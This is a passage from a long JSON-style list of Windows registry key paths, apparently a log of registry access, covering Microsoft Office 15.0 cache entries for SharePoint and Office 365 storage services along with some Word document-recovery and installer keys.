  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\CF6D88",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\CF6D88\\CF6D88",
  1392. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1393. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
